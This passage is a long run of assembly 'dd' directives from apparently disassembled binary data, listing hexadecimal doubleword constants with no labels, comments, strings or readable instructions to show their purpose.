		dd 0E93C4688h, 0D827A5h, 0D334B520h, 7E9370E4h,	0D89E16E0h
		dd 0F0EE710Ch, 34F056Ah, 0F5F7F3h, 4BDB60C9h, 470E8B54h
		dd 20137153h, 83A0CF28h, 0AFBE03F8h, 2206D23Ah,	6A27FFA8h
		dd 5C75442Ch, 0F63E4103h, 0C38D90FAh, 430E761h,	39E900B2h
		dd 0C00B1064h
		dd 0C1393D7Eh, 2F6F008Ah, 371C37Fh, 70DF589Ch, 0FDE9BD02h
		dd 4E302EA7h, 93008DEDh, 8F63739Ah, 0A0490101h,	0A3CCADFCh
		dd 42C341BEh, 9045F2h, 2875F458h, 0B00D8AB2h, 98706F6Ch
		dd 866D1D5h, 0E077C112h, 0E260D18h, 0EB00B0D7h,	331C2820h
		dd 263D2CE2h, 34AC8024h, 0E4A319Eh, 3EB72Ch, 9013A1E0h
		dd 6C411F79h, 0B14040DAh, 716DBF83h, 757C2A08h,	0E0261DEh
		dd 0E82031AEh, 0BD004C24h, 0CFA92B58h, 32A7AD7h, 336F7829h
		dd 81F45E89h, 3082EEB8h, 86585DADh, 0BA2F16B8h,	32268440h
		dd 95781E19h, 9F473C80h, 0CF0305DFh, 334DF25Ah,	38A6D081h
		dd 0A2212859h, 2CF80790h, 0D0B32A10h, 6183D8CAh, 0B46F242Ah
		dd 0F524B0ECh, 0E5030C63h, 0E640440Fh, 29EC05B1h, 4358163Ch
		dd 68216280h, 0B5643900h, 65DF8AF6h, 0ECB0A8B7h, 0CDCB0788h
		dd 0A2E88960h, 0B88078C5h, 2FA67DDEh, 0D281CC01h, 80556B3Ah
		dd 0B01FD024h, 0AC150F58h, 0BB63541Ah, 5104CC01h, 1688E97Bh
		dd 63048490h, 0A73E2C7Dh, 749CC068h, 0D03BC5Bh,	0F5EF819Dh
		dd 0DE8B98A0h, 90351F3Dh, 3AE9C2CCh, 0A8C4F068h, 540CDF00h
		dd 0C05E1802h, 79A502EFh, 0E2AFAA8h, 5E01B89Ch,	1EA07138h
		dd 7980641Dh, 0DFEAB968h, 720CCD94h, 0A90FB1E0h, 1E1A1813h
		dd 0E46F2961h, 4DC9CF02h, 0C8EEE6A4h, 18844A5Ch, 709DBEC6h
		dd 87B0CD1Eh, 8FE5880Ch, 414911h, 2EFCACB0h, 83DD7693h
		dd 95FFEB0Ch, 395821E6h, 0F81B718h, 14AB0CAh, 31A8C4F2h
		dd 0B41C415Dh, 0F541C400h, 0FF245F8h, 0D3BCD58Fh, 0AADEB6C2h
		dd 85EF8C1h, 8A0C02C5h,	49AD8B62h, 0B78980A2h, 57C7C860h
		dd 95D1EB00h, 8BC00E40h, 1A2412F8h, 2C1800AFh, 38057114h
		dd 0B8ED8904h, 0AE22A6h, 83E28B76h, 7007545Ch, 0A51E4836h
		dd 0CC02855h, 386A0AD4h, 3F3FCFAh, 0CEDFCBD2h, 0C098E058h
		dd 171FD331h, 6087AA33h, 835B8C30h, 0E89E6318h,	982881FDh
		dd 417024DBh, 0D8FF8560h, 0E880403Ch, 0F7F29CD3h, 66C28C15h
		dd 0EEAD03F0h, 279EA65h, 19819A11h, 0D4A2752Dh,	24E08416h
		dd 0D32ECEAAh, 86031087h, 0B0798338h, 7B75C7h, 511022C9h
		dd 91A9EA1Ah, 90AE0F16h, 0D0304909h, 97534A14h,	77EDC0D8h
		dd 481F79CBh, 1D8002F7h, 0DC670AC5h, 0CE202C64h, 9FAE01ECh
		dd 7007CBF5h, 56245700h, 0E07D428h, 6220D03Dh, 2AC3D6h
		dd 0A0863C96h, 0AD0C4212h, 5846233Ch, 0C95200FCh, 50F04459h
		dd 0FF4800E8h, 0BAD279Ah, 3300FB2Dh, 975FA121h,	7D478995h
		dd 0F46DECAFh, 99DA0044h, 206ECB3Dh, 8F24D096h,	0FC07D4F5h
		dd 0C433EED1h, 0D692B1B3h, 17A3CDFCh, 276921h, 4F3B73E8h
		dd 70046628h, 45FBBDD7h, 1F0014ADh, 10AC1395h, 7B0F39E3h
		dd 74158BEEh, 0B1051FE0h, 5B0848E5h, 834C0001h,	97C384C6h
		dd 0EE0352D5h, 7B56CCD4h, 0C8DBF03Ah, 0F40A27B8h, 5EE00C80h
		dd 0C019A22h, 3935EB3Bh, 6C69106Eh, 0F4214027h,	289B0EC0h
		dd 227900B0h, 844BC474h, 0C8D8A012h, 529F005Ah,	67F6AF41h
		dd 6405257Dh, 7C314B7Eh, 7A96DC80h, 5CC5135Eh, 6630009Ch
		dd 0CD7398B6h, 650ED800h, 1C274AF3h, 0F52EC583h, 0C8EC8CCEh
		dd 5750B002h, 235C4829h, 43D09E35h, 9004C2A9h, 4120AED1h
		dd 0C8534490h, 337C0022h, 5BE555BEh, 1300E396h,	0E7EDA48h
		dd 90DF7512h, 8A1B026Ch, 5887999Bh, 0FC03D4C2h,	0A88854E1h
		dd 0BF015AF7h, 0C2DD7EC7h, 64285232h, 8ABD8F14h, 1680E428h
		dd 709EBBC3h, 2B249D94h, 2D735E07h, 2200EE1Fh, 0F446ABh
		dd 61FBB4CDh, 0CAE34DD5h, 6D9E2C9Ch, 97D21CC0h,	12B993FCh
		dd 0BFE2FDh, 605501F3h,	24008AC3h, 46FA1291h, 0ED5EE56Ch
		dd 1B58BE0h, 6992D7E9h,	407E7DE6h, 1D859680h, 2C175300h
		dd 79ED9BD5h, 4E8A0D8h,	6C38A2E0h, 0D6470104h, 0CDC8881Eh
		dd 0D86520EAh, 5649B300h, 0A3D576CFh, 69C50C2Ah, 5549D3BEh
		dd 0C1D58h, 61FAF2BCh, 0B12E34B8h, 0B6DE0078h, 93257E1Ah
		dd 0C68CA254h, 70B1D1EAh, 9812FB96h, 89E598CCh,	5545C041h
		dd 0A020D930h, 12FEAC9Fh, 0C831432Eh, 0E12472F8h, 0C80DD4CCh
		dd 3EF4C90Ch, 54D04950h, 0AA7BC006h, 7300D90Ah,	0A89474DBh
		dd 2F55E5h, 0BB6A6705h,	0A7595EE8h, 0E00C0F2Ch,	0C2D24810h
		dd 107988ECh, 0C708004Bh, 0BF74A8Dh, 0F9773F54h, 0AF8100A0h
		dd 29E2EF07h, 0A0183A00h, 0D596D297h, 733B0903h, 4C0E29Ch
		dd 26003931h, 67989A70h, 0BCADD0h, 0D0987E4h, 0B8DE74CAh
		dd 9C2FF000h, 0FF65EB6Fh, 4EE90057h, 0E0CDE5DCh, 0E609B4F4h
		dd 72E48E5Ah, 8C430CB8h, 0EF285611h, 4092B800h,	664DD023h
		dd 0EC3449D8h, 4CBE980Ah, 8A3BB8CCh, 7E1AB0Ah, 314593C0h
		dd 1E80BDCh, 0DC3D1617h, 3B5ED92Ch, 0D2F94A00h,	551351E0h
		dd 7F3C1012h, 3000E0h, 0EBC26595h, 18796772h, 0C834F826h
		dd 5E9E2100h, 7F545D5h,	0CFD04468h, 1480497Ch, 57185316h
		dd 1AA18300h, 2D4E55EDh, 5F874h, 6F580CC2h, 0E3B87E4Ch
		dd 0A8269800h, 0A13B856Eh, 0B610E94h, 0B220A6D1h, 4F7866BCh
		dd 326753Ah, 0BD0E4BC1h, 11B801A4h, 2407370Bh, 74F4415Ch
		dd 9CE4F850h, 0F6535700h, 0C160408Eh, 7B7707BFh, 100FA62Eh
		dd 3C62803Ah, 1C03D01Ch, 7340C7DFh, 445BF2E7h, 41FA1EF8h
		dd 2983C25Eh, 0C8C0E2F4h, 0F74FFD53h, 925C04D0h, 0A8D30096h
		dd 3E59FB16h, 1544326Eh, 0FC10007Bh, 6AD35AE0h,	2000D5D9h
		dd 0B4A94491h, 1F7B002h, 0CFFAE44Fh, 105ECA84h,	7438E6B5h
		dd 89C60043h, 2C25CE1Bh, 21C3C75Dh, 0F0DF4ECDh,	9A18882h
		dd 8AFDF09Bh, 0CC64E025h, 44002254h, 5DCF9373h,	0D86AD4h
		dd 83E356EEh, 0C1A4FD2Dh, 0BC96200h, 44C502E1h,	489F76FAh
		dd 390F0C1Eh, 0C1C0066Ch, 0E96A312Dh, 0F2816702h, 0E07C4EE5h
		dd 7F1EDACh, 287A2BFBh,	0DD6E90BBh, 3800962Dh, 7451D90Ah
		dd 49852Eh, 0A6FFEA66h,	0E3480102h, 4382CB0h, 9432FC96h
		dd 107DB9BFh, 6A6A8262h, 0CB021068h, 0A0C8EB74h, 0C4A020DCh
		dd 93280098h, 4FB279E9h, 0AF00E687h, 1E1421FFh,	0C8152E4h
		dd 0C8BA6FC1h, 0F11D4CD8h, 0B016FD76h, 0B423BE00h, 8DA5ECh
		dd 24B0642h, 56E81254h,	78983800h, 6050C0AFh, 2563008Dh
		dd 0F083EDB9h, 0CE2F44DEh, 320482DAh, 29D4E078h, 2B4BEE6h
		dd 0F38B8434h, 9D01DC7Eh, 2D44180Dh, 33E76E0h, 0CADDE262h
		dd 0F6B0FC9Fh, 3700BE26h, 89408B98h, 0AEEDD1h, 1E793D86h
		dd 1175FE01h, 0B6729DF2h, 0EFB7DB00h, 3A0AE755h, 3DA30715h
		dd 20FF4285h, 0BAD66931h, 29961900h, 43DB678Dh,	0D0140160h
		dd 0DDE657E9h, 0ECB040A2h, 7C01C4C9h, 4EDAFE1Bh, 59C4EB05h
		dd 829E0A36h, 0C95EA6h,	479538B2h, 0B0B0BBA8h, 0F8A55F00h
		dd 0CDD24A6Eh, 2127703h, 0A01B4F27h, 8840DC6Dh,	0FFF304DBh
		dd 0E59BB816h, 718AE420h, 9E8E00CEh, 9920A0FAh,	5100DB5Ch
		dd 0BDD5C04Fh, 7F35ACD0h, 580B483h, 81A22F52h, 3EEA97CEh
		dd 6E1EFFC0h, 778A12C8h, 80141CF1h, 8C35A1E9h, 0CA07B4FBh
		dd 0DB85FE9Eh, 0ECFAB9h, 9086F0BBh, 658F29DEh, 13D8239h
		dd 0F710AD76h, 0E9E8DA5Dh, 30C102ABh, 1A4C7326h, 6ECDB8E0h
		dd 0A22AD20Eh, 0C8592010h, 1B5A8D5h, 0BC2D29C5h, 0E02C3EEEh
		dd 0C106AC1Eh, 0FA642880h, 237FB8h, 8561490Ah, 0D9164DD8h
		dd 310878BEh, 0C07D9D01h, 2B941C5Ch, 710948DFh,	85FB4FE0h
		dd 0D000A3EBh, 0C1519DCh
		dd 2B2F02C4h, 3BD8F51Eh, 0D2CEFFC0h, 0C60D761Dh, 0C5EF4280h
		dd 6B9897h, 968FABB4h, 83BABE88h, 42539D17h, 2B9E7001h
		dd 0D0505D91h, 0BE1F54EBh, 5EF045ECh, 0B831C0B8h, 0E099B550h
		dd 4C38120h, 3F757BFCh,	206C00F2h, 746D19h, 46036F22h
		dd 51107C05h, 2B00E898h, 3EABE3BEh, 7E01558h, 0F44B2D66h
		dd 0CB769055h, 630005AEh, 8813A0DCh, 283B59E8h,	3B81585h
		dd 250A2695h, 2DA748Ch,	0A3729868h, 76C83Ah, 0C3400634h
		dd 6AD10Dh, 0DE6BCC5Dh,	4A9722DBh, 0AB4A507h, 703045EFh
		dd 97E7BD26h, 54FAA49Ah, 6FF40F7h, 34008ACDh, 0BE37C9Ah
		dd 77DB6C5Dh, 28849865h, 608CBE89h, 0A7CB117Dh,	0A4F3B9Fh
		dd 12754CC3h, 0D7AFD319h, 789B7008h, 0EF0C135Eh, 769FF4C8h
		dd 63CF4C48h, 4DD75C00h, 99D1C453h, 3802D412h, 4CA240B0h
		dd 0D20210C7h, 6173FC7Ch, 25D80CC8h, 0AFEF9200h, 6BE771C7h
		dd 0EB5400B3h, 761C36E2h, 844C9803h, 0DBF90034h, 0BD4EB63Ah
		dd 652B02A1h, 5AC78994h, 0CABA05C0h, 0C50C0A05h, 78D10D2Fh
		dd 0DC728B86h, 2DA27305h, 242490B4h, 3CF2150Eh,	0C1DC4D00h
		dd 0CF73E994h, 0BCCC077Dh, 20D2328Fh, 1E2CE5A1h, 0F2A0D0A0h
		dd 2A4F3A1Dh, 0A3904ED8h, 6A231A1Ch, 0BCC0D8C5h, 0ACB05EF0h
		dd 926F21C0h, 0B5E987h,	65C50FC9h, 1F62974Dh, 0FD507302h
		dd 0E854AC35h, 7F2A9150h, 0E250F29h, 0B8B46A42h, 32C30580h
		dd 5700B930h, 0A52F9DBFh, 350C0Eh, 5609E7D2h, 0F3A3814Ah
		dd 0DC42BA4Fh, 0E0E0DE5Ah, 24982Ch, 32B7208Fh, 1542C675h
		dd 0C2941300h, 35A95F4Fh, 0F97F34h, 84332ACEh, 73C455E1h
		dd 303072Dh, 0E31E0h, 0D1CE5FE0h, 0DF63B9A4h, 2C596200h
		dd 0B4C889Ah, 0EA3400EFh, 1FD161E2h, 670BF9ACh,	80A84FD7h
		dd 0B95474B0h, 18D198E8h, 382DA65Eh, 0A700782Eh, 0E2669F9Bh
		dd 22BD306h, 0CFBC2CA5h, 8C80AB13h, 0E48C3642h,	9E20550Fh
		dd 0E9126016h, 127DB807h, 0B0932EF6h, 200B138h,	4834760Dh
		dd 10B7C19h, 1C4D6A5Fh,	0F53F7170h, 94006B0Ah, 4EEAF49Ah
		dd 144C097Eh, 78E2C946h, 1880CCD4h, 3351E715h, 0E67C68h
		dd 0EB0CA5AAh, 0E3BC6520h, 2421464Ah, 0FE008B9Bh, 971C643h
		dd 9D8194A2h, 6166D74Dh, 0AF7EFCE4h, 0B0A2F42Ch, 61169106h
		dd 0B9EE3B18h, 0E720438Bh, 0F1F01480h, 5804F2B7h, 38F54C2h
		dd 6DB00C92h, 77368014h, 0EFC9B6E3h, 89253CB0h,	7FCC46Ah
		dd 0DB1FA54Fh, 1A210CBEh, 7B6F0D0Eh, 1D5100C0h,	0E26104C5h
		dd 0DAD6001Eh, 0CF19A748h, 8903C29Ah, 984DE7B7h, 0AF280050h
		dd 13B17BCBh, 0FB004C7Ah, 0CD717652h, 0D396FAh,	3F0A08A9h
		dd 0FCF03CD5h, 5E4F3Bh,	0AFE8D1C5h, 33F2D93Bh, 0EDD00A3Dh
		dd 855148E0h, 7AEB24h, 0E8409A13h, 428C928Bh, 0E0BD0057h
		dd 6CFB8A0h, 0FA071D24h, 0E56E3ADFh, 0F87099h, 0C543E1C3h
		dd 0BE013E7Bh, 4F90AB00h, 0E589A60Fh, 9CA90070h, 0B1809EB7h
		dd 333B09B8h, 41A80576h, 0D8875E1Ah, 0E6EF6D80h, 71D904F7h
		dd 0C007059Eh, 1D8D8E0Ch, 0DBB5D501h, 1F7AFB0Dh, 0FA9E30E8h
		dd 0CB070C6Eh, 4F86D65Ch, 0C783500h, 1B258D34h,	4652247Eh
		dd 0DF803F08h, 543A5C05h, 0F8A02ACCh, 0AE1877C4h, 0B9114421h
		dd 6E0CEh, 34C94ADh, 9DDB1ECAh,	0C90021B0h, 0FCAA0B87h
		dd 90909AC8h, 0F3602510h, 8C107485h, 5D507468h,	41001BD0h
		dd 8225E43Eh, 0B69C800Dh, 0B5B00CC4h, 0F3039720h, 0C6A629ABh
		dd 3F800418h, 0BD858148h, 0C7296084h, 60CFF1A3h, 698BC8B3h
		dd 68B12465h, 0B4238239h, 6032DF87h, 88435AB4h,	3D5AD895h
		dd 4967AC4Eh, 0B4AF7Bh,	82051B83h, 430D0D71h, 4080597Ch
		dd 0C51950D0h, 0CEAF7602h, 51479EAAh, 70F60884h, 0FE192201h
		dd 11809411h, 0FD103E69h, 8CA0CDA0h, 1E882F5Ah,	82009CBDh
		dd 0B1DA56E1h, 600990D2h, 722F024h, 0B2B09CD0h,	0F3948DA1h
		dd 757DA451h, 1580D004h, 749C2E5Bh, 0A250E404h,	4E83084h
		dd 0D9E513h, 856C2F20h,	0D5008CF0h, 0DFD860B3h,	0EC9326h
		dd 0C278C6AEh, 3D4A54B4h, 0F34FB000h, 26A92CD9h, 0C1C40E1Dh
		dd 5CEB63DDh, 77276180h, 752D7ECBh, 4F5868C3h, 0E63C2620h
		dd 9560BE4h, 683EBB82h,	8C37AF80h, 0EDE4CE82h, 0D644A295h
		dd 3FDC7EBDh, 3C816A00h, 0DB275FFh, 0D942F606h,	0A098E864h
		dd 0E4DA91C2h, 91FD5FE7h, 6DF9B214h, 0AFA12DFCh, 9AE8B880h
		dd 46B900D0h, 64ADFEF5h, 0DA0F4B06h, 439CA7D3h,	0C2C6B2BDh
		dd 406CE170h, 72D693ECh, 3CA40099h, 62172B67h, 8D074ADDh
		dd 0D21CB4C0h, 0E6852C70h, 89B854h, 0EC8ECE73h,	566A269Ch
		dd 8402DCFAh, 23EB9FCBh, 64522Ah, 0A9107381h, 322BB517h
		dd 39060A1Fh, 23DAD980h, 2838794h, 1DB6D27Bh, 24DE44F9h
		dd 11305E00h, 729C24EEh, 422260B1h, 1F5231F4h, 0C845FB00h
		dd 0F24B3433h, 81785Dh,	95B69F4Ah, 0D4F7BFFFh, 2FC4994Dh
		dd 5E04B078h, 1D52006Bh, 0AD03247Fh, 6C008188h,	0C17B78C5h
		dd 39CEEB74h, 5B00E057h, 0D7C30CA9h, 0AE4CBB3Eh, 1B240F74h
		dd 8A56E418h, 72FF84C0h, 2688B87Dh, 56FB3Fh, 568646D7h
		dd 6E00303Eh, 994EF95h,	3B1E2901h, 0E3BE6292h, 73439D00h
		dd 1BA89EC7h, 21883Ch, 8A4B7008h, 0BFDE97E0h, 0EDDF1800h
		dd 0F4E9BD28h, 0BC942D85h, 4021193Eh, 76035330h, 27F440E7h
		dd 1700F20Ah, 0FC66DFF9h, 36AC6Eh, 0DA5EAB41h, 2940F3B3h
		dd 9401484Ah, 923E9704h, 67783450h, 0A20702A6h,	3385D640h
		dd 0F5A53881h, 6AA88128h, 4FD01608h, 0DA12E0C3h, 0E480001Dh
		dd 0DFB937FBh, 87007214h, 3A734ECh, 7949AB5Ch, 1EAEFh
		dd 70E23CB9h, 0FD6A31FBh, 10034000h, 9B7266A7h,	1CF678h
		dd 63E013Fh, 70130888h,	2B293000h, 75626D05h, 0E19D003Bh
		dd 2AC843CCh, 0E73D3CC2h, 0D37E00FCh, 455F719h,	48A70070h
		dd 0CBC6C2Bh, 0A5000844h, 3D2DA8A1h, 75AFD64Bh,	0A3B45CBFh
		dd 0CC9B1B00h, 7DE339D8h, 863B1E02h, 754A843Ah,	92002CF4h
		dd 1B62A12Dh, 55CF39A6h, 614FF102h, 60688B41h, 1600BEFBh
		dd 0B74FFD4h, 191208Ah,	85F1F327h, 9FEC2555h, 60403729h
		dd 3D070BF2h, 0BFC30229h, 80899F63h, 874C8A0h, 8B070B36h
		dd 9CB39240h, 0D398AB40h, 0D47848h, 9B234764h, 2832A1CBh
		dd 3A60CF74h, 4D2AA808h, 23661BEFh, 3FA030E0h, 8A0010ECh
		dd 0A59C6C24h, 1C20EDB2h, 0C0F7986Eh, 601799ABh, 1C3013E8h
		dd 40F1069h, 0FF650059h, 7437A5EDh, 0B3024A3h, 89E790B3h
		dd 0E3D1000Eh, 0DBAE5F2Dh, 0B830BE2Fh, 7222E007h, 18574916h
		dd 36C83E00h, 449BD458h, 2000BDECh, 8F617010h, 4955FE5Ch
		dd 0AE06D023h, 395016E7h, 6E2E9B12h, 1716C07h, 0BA055730h
		dd 9466000Ah, 1D434CD5h, 9C186EB8h, 0CE40E25Ch,	0E0280537h
		dd 0BC63ECC8h, 812401B4h, 0FDB4BE3h, 5D76208Ch,	1F505561h
		dd 3128B33Ch, 17309406h, 0BBED2158h, 0CC8002Ah,	0A59AA9BDh
		dd 15224496h, 9D67015Ch, 0D3E102C6h, 4002604Dh,	0BF3A981Eh
		dd 90B68873h, 3AB1512h,	0D99180D1h, 0FFC0856Ah,	660056ADh
		dd 1643C407h, 1342C7E3h, 0C97768h, 85D317B1h, 9B03F318h
		dd 2902EE48h, 0A412A36Eh, 6A5187C1h, 268E1020h,	373A37E0h
		dd 3641A391h, 87E4D11Fh, 6EE07C0h, 0F62E18CBh, 0A23E00E9h
		dd 0CD5B263Bh, 940851EAh, 807A16E5h, 85752F9Fh,	58C801B9h
		dd 9DBF8E56h, 2A060090h
		dd 6BA3C45Ah, 1BC901FAh, 40DAE8ABh, 7814D3E7h, 3A9A9668h
		dd 417000E2h, 0BCACBAECh, 6A1E0174h, 5D46D8A5h,	711C8FCh
		dd 8033A400h, 0F9D055E5h, 85C200D2h, 8F24768Ch,	0A403C65Ah
		dd 58719E4Fh, 41788Ah, 6FFEAC80h, 0FAA6311Fh, 0D1CB2E0Fh
		dd 2063EC7Eh, 201B3A1Eh, 9D253160h, 0BF2E91A0h,	0B40183E2h
		dd 39052D2Ah, 7DF70F0h,	19CA548Eh, 0C77880A6h, 3D005A80h
		dd 0E5B0BF1Fh, 0A310BEh, 0E2FE8E7Fh, 8384C312h,	0B6278200h
		dd 2F259B6Dh, 0A7F3C9Dh, 0BC052406h, 0C702797Ah, 86D07EC0h
		dd 0E0EBC3FBh, 627CF44h, 5FA27BB2h, 0BF00F86Fh,	0A9E44F45h
		dd 9F6A7978h, 840CDFC1h, 1FBC71C9h, 1BA0494Eh, 5F91D336h
		dd 7D86FE00h, 0A40D7620h, 8351012Ah, 0F69A1301h, 6B94521Ch
		dd 1FD47A60h, 2E0758C0h, 663CE6h, 43A29153h, 0CD74E977h
		dd 3FF61E00h, 32F1D558h, 65D41D63h, 27670033h, 992D835Dh
		dd 2674C4ECh, 74DF5000h, 31CBAB93h, 7CD8F897h, 0FF6F22Bh
		dd 0F5649037h, 9B06FC9Dh, 10579195h, 8D66E000h,	85AAD474h
		dd 38D2005Ch, 549B047Ch, 960027C0h, 9437839Fh, 3C35F75Dh
		dd 77C6790h, 2BF363E6h,	8A38695h, 0E02A30C1h, 9EF1CA9Dh
		dd 8FC083D1h, 2FF10350h, 21F7ABC7h, 7A6424F5h, 0AD83EF04h
		dd 1000C0C6h, 150EC285h, 1FFCBD78h, 5E3B3768h, 0F00D0434h
		dd 76CF4042h, 7859C39h,	26358EDh, 9351DC0Fh, 8917C100h
		dd 0F070F7B8h, 8A766B3h, 0F51E218Ah, 67C717A9h,	0EB74254Ch
		dd 4EE43D43h, 2E7F90DEh, 0D05B8119h, 52A74A1h, 0C1834D87h
		dd 8CB35541h, 20644008h, 76BB0396h, 65A36602h, 0F8529900h
		dd 0D08EC6C1h, 256C0CCCh, 57C170E0h, 8140AE73h,	50161532h
		dd 286288BEh, 0FC007498h, 0C1EF6A51h, 0A9339340h, 9872ACh
		dd 3B2A4CC5h, 19876472h, 8F7E4D0h, 0B72180C9h, 0C6752A85h
		dd 3B43F4B0h, 0A786DA67h, 615CBD73h, 13B5660Ah,	5B878C3Eh
		dd 0D0515748h, 6CC0C073h, 0A36E0C1Eh, 0B9A88519h, 0D4DDE400h
		dd 0A8D57E03h, 18996814h, 3238C4A0h, 768B3084h,	9B4DAC11h
		dd 91807F88h, 17697680h, 0C8B70014h, 0F8F6476Eh, 98407AE1h
		dd 0D1B50236h, 603B03F3h, 8E7B1C4Bh, 116ADB30h,	3303C83h
		dd 0D190F848h, 930E036h, 4A32112h, 0DA460030h, 0B9C0FE2Ah
		dd 990C0825h, 0D8D889FCh, 338D3434h, 48B4309Eh,	72233F2Ah
		dd 0C01184h, 0B82A812Bh, 31343BF1h, 0AD48DA52h,	60218AF7h
		dd 6B94B030h, 51FE005Ch, 0CCD71B27h, 0F4721FF2h, 342505A2h
		dd 96CC0166h, 9C1A3151h, 0DD409320h, 584565DBh,	19EA8067h
		dd 8C941228h, 437BE9F9h, 1CB32B8h, 817E04BFh, 0B1F430h
		dd 3149F733h, 5989B38Ch, 0D947D066h, 88A0B548h,	17C6C003h
		dd 0CF46B884h, 0FA008B22h, 3E3F17AEh, 480DF729h, 4A1231D6h
		dd 5354228Eh, 2AE9A0B3h, 54E6A93Dh, 2A8325C0h, 3E4E00C1h
		dd 8898D948h, 0F415FF5Eh, 35987FB9h, 140EE858h,	753F0041h
		dd 1277B26Bh, 42C651F8h, 0C372D210h, 6E210C60h,	18628080h
		dd 209A8651h, 0E270508Eh, 1628D378h, 27E25056h,	0AC406428h
		dd 7219F808h, 0B56C03A0h, 18506B18h, 0D8CBB34h,	0F84E303Eh
		dd 69344C50h, 7C06A588h, 6B230030h, 0D02DBE84h,	80615570h
		dd 99215398h, 49DCD1A0h, 0BC809483h, 0B34DAB76h, 9441448Ch
		dd 2976B502h, 96B4F42Ch, 0A8340390h, 0C5918F81h, 30AA04FCh
		dd 87676A00h, 70919270h, 0B718FD79h, 20106D02h,	48350F49h
		dd 0F0E27D04h, 0D9241214h, 0AE9C04E9h, 2A4D30ACh, 87727A34h
		dd 0C00B612h, 165038F2h, 0FE1CA0CAh, 3361C1B7h,	0FB56C9E2h
		dd 3684C012h, 58A4441Dh, 0AC800111h, 0DFB88E17h, 0F4C5448Ch
		dd 0E5165400h, 8483D134h, 7CFE2AC2h, 0FAAC30A8h, 44D1C79h
		dd 0C4A23A00h, 0E8D936BDh, 3C500ADh, 8627B4CBh,	4B11C147h
		dd 0B80435E7h, 87D64D94h, 83B7A0F8h, 0EA514A55h, 0C968B710h
		dd 3DD74B80h, 11D260FCh, 0B0C2B504h, 49BF3E14h,	96F312F8h
		dd 6D23343Ah, 0F8124C00h, 3221488h, 0FCA08758h,	9804C4D9h
		dd 8AA14ECFh, 55163C91h, 6CB448h, 34D2DC45h, 9D94E23Bh
		dd 0BC04594Ch, 8008CC4h, 72352032h, 9075ECBDh, 495B2A98h
		dd 79B700B0h, 53D756F0h, 4B0318CDh, 0ADDC6950h,	8890FFBh
		dd 0EB20F4CFh, 0AF6B4ABFh, 6F814F00h, 1F15F07Ch, 984B59D3h
		dd 62197D1Fh, 48F75122h, 0FDBC3C93h, 7B91058Ch,	0AB8AFC5Ah
		dd 0B83C7F87h, 0B178FC53h, 33982088h, 546967CBh, 23D42843h
		dd 303D01B4h, 1808F849h, 5A08868h, 6E5B3007h, 97021DCh
		dd 62FA235h, 0D89CB92Bh, 0E7FC297Bh, 8308C800h,	0C020BA0Ch
		dd 514B266Dh, 0C0B9941Ch, 7480D824h, 0F01C446h,	7B6DDCB5h
		dd 5017CF29h, 60205842h, 7DC0B76Ch, 0C844012Eh,	0FF97038Eh
		dd 305EC188h, 0F304A628h, 0BC3B50A5h, 48D77490h, 0F2A4F0ABh
		dd 0FE9A0192h, 6C4B9353h, 3280238Dh, 44AD6143h,	784F00B4h
		dd 0E2E1EFD6h, 7500A32Fh, 8B71EE67h, 63B52E8h, 0CF16E0CDh
		dd 851E31EDh, 0FDD2E4BEh, 0FC8B681Fh, 0A88C8253h, 1C90C0ACh
		dd 35D30233h, 697CB7D2h, 1E303200h, 9C77C74h, 6C87F6F0h
		dd 0D6EAFC01h, 9AE00065h, 0B4A00B0h, 359F1803h,	6B58F078h
		dd 0BA1FDDDCh, 9404190Fh, 8C12E8F8h, 6F97DA03h,	0D03E689Eh
		dd 1678280Fh, 228AF251h, 68EA3D30h, 1BB3035h, 0A4DF13C2h
		dd 0A1D46124h, 0C6FE2E34h, 0FF49140h, 9EC437A3h, 7680BB5Dh
		dd 945E56C3h, 96F904E2h, 0A659BF53h, 9332B0A0h,	480CFC08h
		dd 0E28760D9h, 801F9704h, 0C339F8A7h, 0BC88062Ch, 9D9F2409h
		dd 808E1130h, 0EFBF0E14h, 4BE60023h, 39B74E74h,	88949279h
		dd 1C3465Ch, 0EF0057Bh,	2430BCF9h, 306A2057h, 984B691Fh
		dd 0D09E2E0Ah, 0AAFE40Bh, 449F6098h, 0D58EB544h, 8C863CA4h
		dd 53303B05h, 0D86258F8h, 3BE206Ch, 0EE010B30h,	5E23415Dh
		dd 0DCC88E15h, 181258C4h, 5ABB680h, 530C134Ah, 19C30F3Bh
		dd 0B4BB00A8h, 0DF0B0897h, 31EC5BB2h, 0B185F600h, 0C1945741h
		dd 76C241Fh, 438A007Eh,	0A1EEF9F8h, 0BC5FC8D6h,	0FDEFCECh
		dd 94934369h, 41C70C04h, 0C3B2AB41h, 786C2530h,	0BEAA009Dh
		dd 6B81EB85h, 0B77AA49Eh, 5027CF0Ch, 0B0939477h, 4A1C9278h
		dd 4885372h, 138A3480h,	0D6FB9044h, 4090C50h, 0A491B8F4h
		dd 1C847258h, 2540A2D8h, 7BAFFD2h, 0EFDE3FD0h, 4D5B4C80h
		dd 61790ACDh, 4CC49A2Eh, 0FCA51FDEh, 0EE1F84BFh, 0EDA88207h
		dd 0E29BCA20h, 48340112h, 0B1F4354Ch, 0AA1BE79h, 0BC99FA51h
		dd 67B4FE06h, 1FD90019h, 0DBC0BB0Eh, 0E43BB934h, 0AD44819h
		dd 883C714Bh, 10C9FB45h, 24D23461h, 0F274B245h,	85933069h
		dd 3D0CCE18h, 0E25549h,	0DD2371B1h, 73A4AADAh, 78C7C912h
		dd 3795B18h, 55AE046Dh,	0C03779C0h, 0E33DD000h,	0ABF84CA3h
		dd 20B06A68h, 4E0CBF3Eh, 0AD480842h, 0CE1F046Eh, 0C06B8868h
		dd 0D873B086h, 0ADC3200Ah, 5180B8F2h, 0EB2288C2h, 290E3E43h
		dd 55D9F980h, 360F4405h, 0FC388706h, 88D5C1h, 0F6E2EA32h
		dd 0CFB08BADh, 0F549C0D8h, 16FE2C3Dh, 783481E8h, 70CD6C25h
		dd 1216E380h, 6004514Dh, 0D846C57Eh, 6F00A113h,	0CBF16EDCh
		dd 5B2C24h, 9A315572h, 0C611D495h, 0B50B5306h, 0E3162D8h
		dd 19DD3D91h, 0FA1D640h, 1624884Dh, 0B70E78C3h,	8265C081h
		dd 1F7D0D4Bh, 1E508340h, 4D9301BDh, 6385D1A6h, 0BBCC07F8h
		dd 0E0BD79E4h, 16B18842h
		dd 1D5DD03h, 9078726Bh,	1C3D94h, 81A4DA84h, 0F721EA3Eh
		dd 6064952Eh, 0EE519882h, 7854409Bh, 5A322CB5h,	0D1342944h
		dd 3B40186Ch, 4E00578Fh, 93EA8C62h, 46184D92h, 2AC87919h
